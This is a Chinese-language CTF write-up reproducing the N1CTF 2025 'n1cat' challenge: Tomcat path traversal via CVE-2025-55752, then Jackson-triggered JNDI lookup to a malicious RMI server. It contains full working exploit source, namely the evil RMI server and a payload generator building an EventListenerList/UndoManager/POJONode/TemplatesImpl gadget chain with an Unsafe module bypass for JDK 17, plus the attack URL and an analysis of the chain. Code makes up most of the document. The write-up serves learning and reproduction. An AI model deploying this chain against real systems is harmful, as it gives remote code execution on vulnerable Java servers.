N1CTF 2025 n1cat 复现 web 部分官方 WPhttps://gsbp0.github.io/post/2025n1ctf-wp-for-n1cateezzjs/
官方仓库 https://github.com/Nu1LCTF/n1ctf-2025
n1cat 题目提供附件 rewrite.config
1 2 RewriteCond %{QUERY_STRING} (^|&)path=([^&]+) RewriteRule ^/download$ /%2 [B,L]
结合 Tomcat 版本 9.0.108 进行检索可以发现 CVE-2025-55752,通过 /download?path=%2fWEB-INF%2fweb.xml 可以找到 web.xml
1 2 3 4 5 6 7 8 9 10 <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version ="4.0" > <servlet > <servlet-name > welcomeServlet</servlet-name > <servlet-class > ctf.n1cat.welcomeServlet</servlet-class > </servlet > <servlet-mapping > <servlet-name > welcomeServlet</servlet-name > <url-pattern > /</url-pattern > </servlet-mapping > </web-app >
从中确定 ctf.n1cat.welcomeServlet 而后就是使用 CVE-2025-55752 继续探测获取信息
/download?path=%2fWEB-INF/classes/ctf/n1cat/welcomeServlet.class 这里又可以看到 User.class,且使用了 Jackson
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 package ctf.n1cat;import com.fasterxml.jackson.core.JsonProcessingException;import com.fasterxml.jackson.databind.ObjectMapper;import com.fasterxml.jackson.databind.node.ObjectNode;import java.io.IOException;import java.io.PrintWriter;import java.net.URLEncoder;import java.nio.charset.StandardCharsets;import javax.servlet.RequestDispatcher;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;@WebServlet(name = "welcomeServlet", value = {"/"}) public class welcomeServlet extends HttpServlet { private static final String _DEFAULT_NAME _= "guest" ; private static final String _DEFAULT_WORD _= "welcome" ; private static final ObjectMapper _OBJECT_MAPPER _= new ObjectMapper (); protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String requestUri = request.getRequestURI(); String contextPath = request.getContextPath(); String pathWithinApp = requestUri.substring(contextPath.length()); if (shouldDelegate(pathWithinApp)) { delegateToDefaultResource(pathWithinApp, request, response); return ; } String jsonPayload = request.getParameter("json" ); String nameParam = request.getParameter("name" ); String wordParam = request.getParameter("word" ); String urlParam = request.getParameter("url" ); if (isBlank(jsonPayload) && !isBlank(nameParam) && !isBlank(wordParam)) { ObjectNode composed = _OBJECT_MAPPER_.createObjectNode(); composed.put("name" , nameParam); composed.put("word" , wordParam); if (!isBlank(urlParam)) { composed.put("url" , urlParam); } jsonPayload = composed.toString(); } if (isBlank(jsonPayload)) { response.sendRedirect(defaultRedirectTarget(request)); return ; } try { User user = (User) _OBJECT_MAPPER_.readValue(jsonPayload, User.class); String name = user.getName(); String word = user.getWord(); String url = user.getUrl(); if (isBlank(name) || isBlank(word)) { response.sendRedirect(defaultRedirectTarget(request)); } else { renderResponse(response, name, word, url); } } catch (RuntimeException e) { response.sendError(400 , "Invalid user data" ); } catch (JsonProcessingException e2) { response.sendError(400 , "Invalid JSON payload" ); } } private boolean shouldDelegate (String pathWithinApp) { return (pathWithinApp == null || pathWithinApp.isEmpty() || "/" .equals(pathWithinApp)) ? false : true ; } private void delegateToDefaultResource (String pathWithinApp, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { RequestDispatcher defaultDispatcher = getServletContext().getNamedDispatcher("default" ); if (defaultDispatcher != null ) { defaultDispatcher.forward(request, response); } else { request.getRequestDispatcher(pathWithinApp).forward(request, response); } } private void renderResponse (HttpServletResponse response, String name, String word, String url) throws IOException { response.setContentType("text/html;charset=UTF-8" ); PrintWriter out = response.getWriter(); try { out.println("<html><body>" ); out.println("<h1>" + escapeHtml(name) + "</h1>" ); out.println("<p>" + escapeHtml(word) + "</p>" ); if (!isBlank(url)) { out.println("<p>URL: " + escapeHtml(url) + "</p>" ); } out.println("</body></html>" ); if (out != null ) { out.close(); } } catch (Throwable th) { if (out != null ) { try { out.close(); } catch (Throwable th2) { th.addSuppressed(th2); } } throw th; } } private String escapeHtml (String input) { if (input == null ) { return "" ; } return input.replace("&" , "&" ).replace("<" , "<" ).replace(">" , ">" ).replace("\"" , """ ).replace("'" , "'" ); } private String defaultRedirectTarget (HttpServletRequest request) { return request.getContextPath() + "/?name=" + urlEncode(_DEFAULT_NAME_) + "&word=" + urlEncode(_DEFAULT_WORD_); } private boolean isBlank (String value) { return value == null || value.trim().isEmpty(); } private String urlEncode (String value) { return URLEncoder._encode_(value, StandardCharsets._UTF_8_); } }
/download?path=%2fWEB-INF/classes/ctf/n1cat/User.class 继续获取 User.class,这里 setUrl 直接就会使用 lookup,推测为 Jackson 反序列化 +JNDI 注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package ctf.n1cat;import javax.naming.InitialContext;import javax.naming.NamingException;public class User { private String name; private String word; private String url; public String getName () { return this .name; } public String getWord () { return this .word; } public void setWord (String password) { this .word = password; } public void setName (String name) throws NamingException { this .name = name; } public String getUrl () { return this .url; } public void setUrl (String url) { try { new InitialContext ().lookup(url); } catch (NamingException e) { throw new RuntimeException ((Throwable) e); } } }
/download?path=%2fMETA-INF/MANIFEST.MF 这里可以看构建时使用的 jdk 版本:Oracle OpenJDK 17.0.4
1 2 3 4 Manifest-Version: 1.0 Created-By: IntelliJ IDEA Built-By: gsbp Build-Jdk: Oracle OpenJDK 17.0 .4 - aarch64
而后我又尝试了探测 pom.xml 等配置文件期望从中获取所有依赖和版本信息(虽然默认 war 包是没什么这种文件的,但万一用的是 maven 或者 Gradle 之类的呢),然而事实上并没有找到。由于当时还是耐心不够,只 fuzz 了 class 文件和一些常见配置文件,没去把依赖的一个个搞出来,后面做题也没找到可用的利用链,基本就 game over 了,想想还是有点傻。。。还是要多试。
复现 如果要根据 war 包在 IDEA 构建项目,注意 servlet 会因缺少依赖报错,需要自行导入 Tomcat 中的 servlet-api.jar 包,本题下载 Tomcat9.0.108 后在 lib 目录中找到 servlet-api.jar,导入 IDEA 项目依赖。下图为本题所有依赖
尝试使用官方 poc 进行复现,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 package ctf.n1cat;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.DataInputStream;import java.io.DataOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.ObjectStreamClass;import java.io.OutputStream;import java.net.InetSocketAddress;import java.net.ServerSocket;import java.net.Socket;import java.net.SocketException;import java.net.URL;import java.net.URLClassLoader;import java.rmi.MarshalException;import java.rmi.server.ObjID;import java.rmi.server.UID;import javax.net.ServerSocketFactory;import org.slf4j.Logger;import org.slf4j.LoggerFactory;public class evilServer implements Runnable { public static void main (String[] args) { evilServer._start_(); } private static final Logger _log _= LoggerFactory._getLogger_(evilServer.class); public String ip; public int port; private ServerSocket ss; private final Object waitLock = new Object (); private boolean exit; private boolean hadConnection; private static evilServer _serverInstance_; public evilServer (String ip, int port) { try { this .ip = ip; this .port = port; this .ss = ServerSocketFactory._getDefault_().createServerSocket(this .port); } catch (Exception e) { e.printStackTrace(); } } public static synchronized void start () { _serverInstance _= new evilServer ("0.0.0.0" , 8899 ); Thread serverThread = new Thread (_serverInstance_); serverThread.start(); _log_.warn("[RMI Server] is already running." ); } public static synchronized void stop () { if (_serverInstance _!= null ) { _serverInstance_.exit = true ; try { _serverInstance_.ss.close(); } catch (IOException e) { e.printStackTrace(); } _serverInstance _= null ; _log_.info("[RMI Server] stopped." ); } } public boolean waitFor (int i) { try { if (this .hadConnection) { return true ; } else { _log_.info("[RMI Server] Waiting for connection" ); synchronized (this .waitLock) { this .waitLock.wait((long )i); } return this .hadConnection; } } catch (InterruptedException var5) { return false ; } } public void close () { this .exit = true ; try { this .ss.close(); } catch (IOException var4) { } synchronized (this .waitLock) { this .waitLock.notify(); } } public void run () { _log_.info("[RMI Server] Listening on {}:{}" , "127.0.0.1" , "8899" ); try { Socket s = null ; try { while (!this .exit && (s = this .ss.accept()) != null ) { try { s.setSoTimeout(5000 ); InetSocketAddress remote = (InetSocketAddress)s.getRemoteSocketAddress(); _log_.info("[RMI Server] Have connection from " + remote); InputStream is = s.getInputStream(); InputStream bufIn = (InputStream)(is.markSupported() ? is : new BufferedInputStream (is)); bufIn.mark(4 ); DataInputStream in = new DataInputStream (bufIn); Throwable var6 = null ; try { int magic = in.readInt(); short version = in.readShort(); if (magic == 1246907721 && version == 2 ) { OutputStream sockOut = s.getOutputStream(); BufferedOutputStream bufOut = new BufferedOutputStream (sockOut); DataOutputStream out = new DataOutputStream (bufOut); Throwable var12 = null ; try { byte protocol = in.readByte(); switch (protocol) { case 75 : out.writeByte(78 ); if (remote.getHostName() != null ) { out.writeUTF(remote.getHostName()); } else { out.writeUTF(remote.getAddress().toString()); } out.writeInt(remote.getPort()); out.flush(); in.readUTF(); in.readInt(); case 76 : this .doMessage(s, in, out); bufOut.flush(); out.flush(); break ; case 77 : default : _log_.info("[RMI Server] Unsupported protocol" ); s.close(); } } catch (Throwable var88) { var12 = var88; throw var88; } finally { if (out != null ) { if (var12 != null ) { try { out.close(); } catch (Throwable var87) { var12.addSuppressed(var87); } } else { out.close(); } } } } else { s.close(); } } catch (Throwable var90) { var6 = var90; throw var90; } finally { if (in != null ) { if (var6 != null ) { try { in.close(); } catch (Throwable var86) { var6.addSuppressed(var86); } } else { in.close(); } } } } catch (InterruptedException var92) { return ; } catch (Exception e) { e.printStackTrace(System._err_); } finally { _log_.info("[RMI Server] Closing connection" ); s.close(); } } return ; } finally { if (s != null ) { s.close(); } if (this .ss != null ) { this .ss.close(); } } } catch (SocketException var96) { } catch (Exception e) { e.printStackTrace(System._err_); } } private void doMessage (Socket s, DataInputStream in, DataOutputStream out) throws Exception { _log_.info("[RMI Server] Reading message..." ); int op = in.read(); switch (op) { case 80 : this .doCall(s, in, out); break ; case 81 : case 83 : default : throw new IOException ("unknown transport op " + op); case 82 : out.writeByte(83 ); break ; case 84 : UID._read_(in); } s.close(); } private void doCall (Socket s, DataInputStream in, DataOutputStream out) throws Exception { ObjectInputStream ois = new ObjectInputStream (in) { protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException { if ("[Ljava.rmi.server.ObjID;" .equals(desc.getName())) { return ObjID[].class; } else if ("java.rmi.server.ObjID" .equals(desc.getName())) { return ObjID.class; } else if ("java.rmi.server.UID" .equals(desc.getName())) { return UID.class; } else if ("java.lang.String" .equals(desc.getName())) { return String.class; } else { throw new IOException ("Not allowed to read object" ); } } }; ObjID read; try { read = ObjID._read_(ois); } catch (IOException e) { throw new MarshalException ("unable to read objID" , e); } if (read.hashCode() == 2 ) { _handleDGC_(ois); } else if (read.hashCode() == 0 ) { if (this .handleRMI(s, ois, out)) { this .hadConnection = true ; synchronized (this .waitLock) { this .waitLock.notifyAll(); return ; } } s.close(); } } private boolean handleRMI (Socket s, ObjectInputStream ois, DataOutputStream out) throws Exception { int method = ois.readInt(); ois.readLong(); if (method != 2 ) { return false ; } else { String object = (String)ois.readObject(); out.writeByte(81 ); Object obj; try (ObjectOutputStream oos = new MarshalOutputStream (out, "evil" )) { oos.writeByte(1 ); (new UID ()).write(oos); String path = "/" + object; _log_.info("[RMI Server] Send payloadData for " + path); new Object (); obj = PayloadGenerator._getPayload_(); oos.writeObject(obj); oos.flush(); out.flush(); return true ; } } } private static void handleDGC (ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.readInt(); ois.readLong(); } static final class MarshalOutputStream extends ObjectOutputStream { private String sendUrl; public MarshalOutputStream (OutputStream out, String u) throws IOException { super (out); this .sendUrl = u; } MarshalOutputStream(OutputStream out) throws IOException { super (out); } protected void annotateClass (Class<?> cl) throws IOException { if (this .sendUrl != null ) { this .writeObject(this .sendUrl); } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { this .writeObject((Object)null ); } else { URL[] us = ((URLClassLoader)cl.getClassLoader()).getURLs(); String cb = "" ; for (URL u : us) { cb = cb + u.toString(); } this .writeObject(cb); } } protected void annotateProxyClass (Class<?> cl) throws IOException { this .annotateClass(cl); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 package ctf.n1cat;import javax.swing.event.EventListenerList;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import javax.swing.undo.UndoManager;import java.util.Base64;import java.util.Vector;import java.util.ArrayList;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import sun.misc.Unsafe;import java.lang.reflect.Method;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.springframework.aop.framework.AdvisedSupport;import javax.xml.transform.Templates;import java.lang.reflect.*;public class PayloadGenerator { public static Object getPayload () throws Exception { try { ClassPool pool = ClassPool._getDefault_(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader cl = Thread._currentThread_().getContextClassLoader(); jsonNode.toClass(cl, null ); } catch (Exception ignored) { System._out_.println(ignored); } ArrayList<Class> classes = new ArrayList <>(); classes.add(TemplatesImpl.class); classes.add(POJONode.class); classes.add(EventListenerList.class); classes.add(PayloadGenerator.class); classes.add(Field.class); classes.add(Method.class); new PayloadGenerator ().bypassModule(classes); byte [] code1 = _getTemplateCode_("touch /tmp/success" ); byte [] code2 = ClassPool._getDefault_().makeClass(_randomString_(6 )).toBytecode(); TemplatesImpl templates = new TemplatesImpl (); _setFieldValue_(templates, "_name" , "xxx" ); _setFieldValue_(templates, "_bytecodes" , new byte [][]{code1, code2}); _setFieldValue_(templates, "_transletIndex" , 0 ); POJONode node = new POJONode (_makeTemplatesImplAopProxy_(templates)); EventListenerList ell = _getEventListenerList_(node); _serialize_(ell, true ); return ell; } public static byte [] serialize(Object obj, boolean printBase64) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(obj); oos.close(); if (printBase64) { System._out_.println(Base64._getEncoder_().encodeToString(baos.toByteArray())); } return baos.toByteArray(); } public static Object makeTemplatesImplAopProxy (TemplatesImpl templates) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Constructor<?> ctor = Class ._forName_("org.springframework.aop.framework.JdkDynamicAopProxy" ) .getConstructor(AdvisedSupport.class); ctor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) ctor.newInstance(advisedSupport); return Proxy._newProxyInstance_( ClassLoader._getSystemClassLoader_(), new Class []{Templates.class}, handler ); } public static byte [] getTemplateCode(String cmd) throws Exception { ClassPool pool = ClassPool._getDefault_(); CtClass template = pool.makeClass(_randomString_(6 )); String block = "Runtime.getRuntime().exec(\"" +cmd+"\");" ; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static EventListenerList getEventListenerList (Object obj) throws Exception { EventListenerList list = new EventListenerList (); UndoManager undo = new UndoManager (); Vector v = (Vector) _getFieldValue_(undo, "edits" ); v.add(obj); _setFieldValue_(list, "listenerList" , new Object []{Class.class, undo}); return list; } public static String randomString (int length) { String chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" ; StringBuilder sb = new StringBuilder (length); java.util.Random random = new java .util.Random(); for (int i = 0 ; i < length; i++) { sb.append(chars.charAt(random.nextInt(chars.length()))); } return sb.toString(); } private static Method getMethod (Class<?> clazz, String name, Class<?>[] params) { Method m = null ; while (clazz != null ) { try { m = clazz.getDeclaredMethod(name, params); break ; } catch (NoSuchMethodException e) { clazz = clazz.getSuperclass(); } } return m; } private static Unsafe getUnsafe () { try { Field f = Unsafe.class.getDeclaredField("theUnsafe" ); f.setAccessible(true ); return (Unsafe) f.get(null ); } catch (Exception e) { throw new AssertionError (e); } } public void bypassModule (ArrayList<Class> classes) { try { Unsafe unsafe = _getUnsafe_(); Class<?> currentClass = this .getClass(); try { Method getModule = _getMethod_(Class.class, "getModule" , new Class [0 ]); if (getModule != null ) { for (Class c : classes) { Object targetModule = getModule.invoke(c,new Object []{}); unsafe.getAndSetObject( currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )), targetModule ); } } } catch (Exception ignored) {} } catch (Exception e) { e.printStackTrace(); } } public static Object getFieldValue (Object obj, String fieldName) throws Exception { Field f = null ; Class<?> c = obj.getClass(); for (int i = 0 ; i < 5 && c != null ; i++) { try { f = c.getDeclaredField(fieldName); break ; } catch (NoSuchFieldException e) { c = c.getSuperclass(); } } if (f == null ) throw new NoSuchFieldException (fieldName); f.setAccessible(true ); return f.get(obj); } public static void setFieldValue (Object obj, String field, Object val) throws Exception { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true ); f.set(obj, val); } }
配好 javassist、slf4j、logback 等几项依赖后在 IDEA 的运行或调试选项处要配置虚拟机选项,否则不能正常运行
1 2 3 4 5 6 --add-opens =java.base/sun.nio .ch=ALL-UNNAMED --add-opens =java.base/java.lang=ALL-UNNAMED --add-opens =java.base/java.io=ALL-UNNAMED --add-opens =jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens =java.xml/com.sun .org .apache .xalan .internal .xsltc .trax=ALL-UNNAMED --add-opens =java.base/java.lang .reflect=ALL-UNNAMED
访问靶机页面添加 url 参数为 rmiServer 的 url
1 /?name = n1cat&word =hello&url =rmi:
成功执行命令完成复现
尝试分析 之前学习过 bitterz 的文章 ,首先在 jdk17 的版本下,默认不会信任远程 Reference 类,需要利用本地工厂类或者服务端返回字节码利用受害者存在的 gadget 触发原生反序列化。其次,jdk9 及之后的 java 版本中进行了更严格的模块化封装,导致内部类无法直接访问、常用的反射手段受到了很大的限制
所给 poc 中如下的 getUnsafe() 函数和 bypassModule 函数可以绕过 JPMS
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private static Unsafe getUnsafe () { try { Field f = Unsafe.class.getDeclaredField("theUnsafe" ); f.setAccessible(true ); return (Unsafe) f.get(null ); } catch (Exception e) { throw new AssertionError (e); } }public void bypassModule (ArrayList<Class> classes) { try { Unsafe unsafe = _getUnsafe_(); Class<?> currentClass = this .getClass(); try { Method getModule = _getMethod_(Class.class, "getModule" , new Class [0 ]); if (getModule != null ) { for (Class c : classes) { Object targetModule = getModule.invoke(c,new Object []{}); unsafe.getAndSetObject( currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )), targetModule ); } } } catch (Exception ignored) {} } catch (Exception e) { e.printStackTrace(); } }
一个类的 module 字段由它的 ClassLoader 是否关联某个 ModuleLayer 决定(是否含有 module-info.java,是否使用–module-path 等),其他未加指定的类所属 module 均为 unnamed,大多数攻击环境都不会模块化部署所以攻击代码一般都视作 unnamed module 处理。而我们需要利用的类如 TemplatesImpl 属于 java.xml 模块,在 jdk17 的强封装机制下攻击代码就无法调用。
Unsafe 类是 Java 中一个提供底层操作能力的类,它位于 sun.misc 包下,允许开发者直接对内存进行操作,尤其需要注意的是它提供了修改类的 Class 对象的 module 字段的能力。本处先通过反射获取 Unsafe 类的实例,而后利用其 getAndSetObject 方法(putObject 方法具有同样的功能)修改 poc 自身类的 module 字段为目标类的 module,从而绕过模块封装机制。
解决模块封装问题后研究利用链的组成。所给 poc 中 getPayload() 方法包含利用链的主体。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public static Object getPayload () throws Exception { try { ClassPool pool = ClassPool._getDefault_(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader cl = Thread._currentThread_().getContextClassLoader(); jsonNode.toClass(cl, null ); } catch (Exception ignored) { System._out_.println(ignored); } ArrayList<Class> classes = new ArrayList <>(); classes.add(TemplatesImpl.class); classes.add(POJONode.class); classes.add(EventListenerList.class); classes.add(PayloadGenerator.class); classes.add(Field.class); classes.add(Method.class); new PayloadGenerator ().bypassModule(classes); byte [] code1 = _getTemplateCode_("touch /tmp/success" ); byte [] code2 = ClassPool._getDefault_().makeClass(_randomString_(6 )).toBytecode(); TemplatesImpl templates = new TemplatesImpl (); _setFieldValue_(templates, "_name" , "xxx" ); _setFieldValue_(templates, "_bytecodes" , new byte [][]{code1, code2}); _setFieldValue_(templates, "_transletIndex" , 0 ); POJONode node = new POJONode (_makeTemplatesImplAopProxy_(templates)); EventListenerList ell = _getEventListenerList_(node); _serialize_(ell, true ); return ell; }public static byte [] getTemplateCode(String cmd) throws Exception { ClassPool pool = ClassPool._getDefault_(); CtClass template = pool.makeClass(_randomString_(6 )); String block = "Runtime.getRuntime().exec(\"" +cmd+"\");" ; template.makeClassInitializer().insertBefore(block); return template.toBytecode(); }
使用的 gadget 如下
1 2 3 4 5 EventListenerList# readObject () └── UndoManager# toString () └── Vector# toString () └── POJONode# toString () └── Proxy(TemplatesImpl)
先看 EventListenerList#readObject(),要利用该入口需要其可成为 EventListener 类型,且实现了 Serializable 接口
如下图所示,UndoManager 实现了 UndoableEditListener,UndoableEditListener 继承了 EventListener 接口,因此可被 EventListenerList 接受,同时它继承了 CompoundEdit,再继承 AbstractUndoableEdit,最后实现了 Serializable 接口,从而可以被序列化与反序列化,完美符合利用条件。
而后进入 add(tmp, l),这里需要判断 l 对象是否是 tmp 的类型。这里 poc 中传入的是 Class.class,与 UndoManager 的类型不符,目的是为了进入报错从而隐式调用 l 即 UndoManager 的 toString 方法,所以只要不是 UndoManager.class 就行
1 2 3 4 5 6 7 8 9 public static EventListenerList getEventListenerList (Object obj) throws Exception { EventListenerList list = new EventListenerList (); UndoManager undo = new UndoManager (); Vector v = (Vector) _getFieldValue_(undo, "edits" ); v.add(obj); _setFieldValue_(list, "listenerList" , new Object []{Class.class, undo}); return list; }
查看 UndoManager 的 toString 方法,limit 与 indexOfNextAdd 均为 int 类型没有利用价值
于是可以查看 super.toString()即 CompoundEdit.toString(),此处 edits 属性为 Vector 类的对象,字符串与对象拼接再次隐式触发 Vector 的 toString 方法
最终到达 AbstractCollection.toString(),此处获取一个当前集合的迭代器,而后遍历该 Vector 中存储的对象
此处在 poc 中传入的对象即 POJONode
1 2 3 4 5 6 7 8 9 10 11 12 13 ......POJONode node = new POJONode (_makeTemplatesImplAopProxy_(templates));EventListenerList ell = _getEventListenerList_(node); ......public static EventListenerList getEventListenerList (Object obj) throws Exception { EventListenerList list = new EventListenerList (); UndoManager undo = new UndoManager (); Vector v = (Vector) _getFieldValue_(undo, "edits" ); v.add(obj); _setFieldValue_(list, "listenerList" , new Object []{Class.class, undo}); return list; }
通过 Vector.add 方法将 POJONode 对象添加进去
再跟进 AbstractCollection.toString()中 StringBuilder.append()的操作
进入 String.valueOf(obj),最终实现任意 toString 方法调用
调用到 POJONode.toString 后任意调用 Getter,通过 AOP 代理增加调用稳定性,最终调用 TemplatesImpl.getOutputProperties 方法加载字节码实现 RCE
关于 AOP 的部分可以参考 JDBC Attack 与高版本 JDK 下的 JNDI Bypass
关于 TemplatesImpl 的部分可以参考 TemplatesImpl 利用链分析
本文其他参考: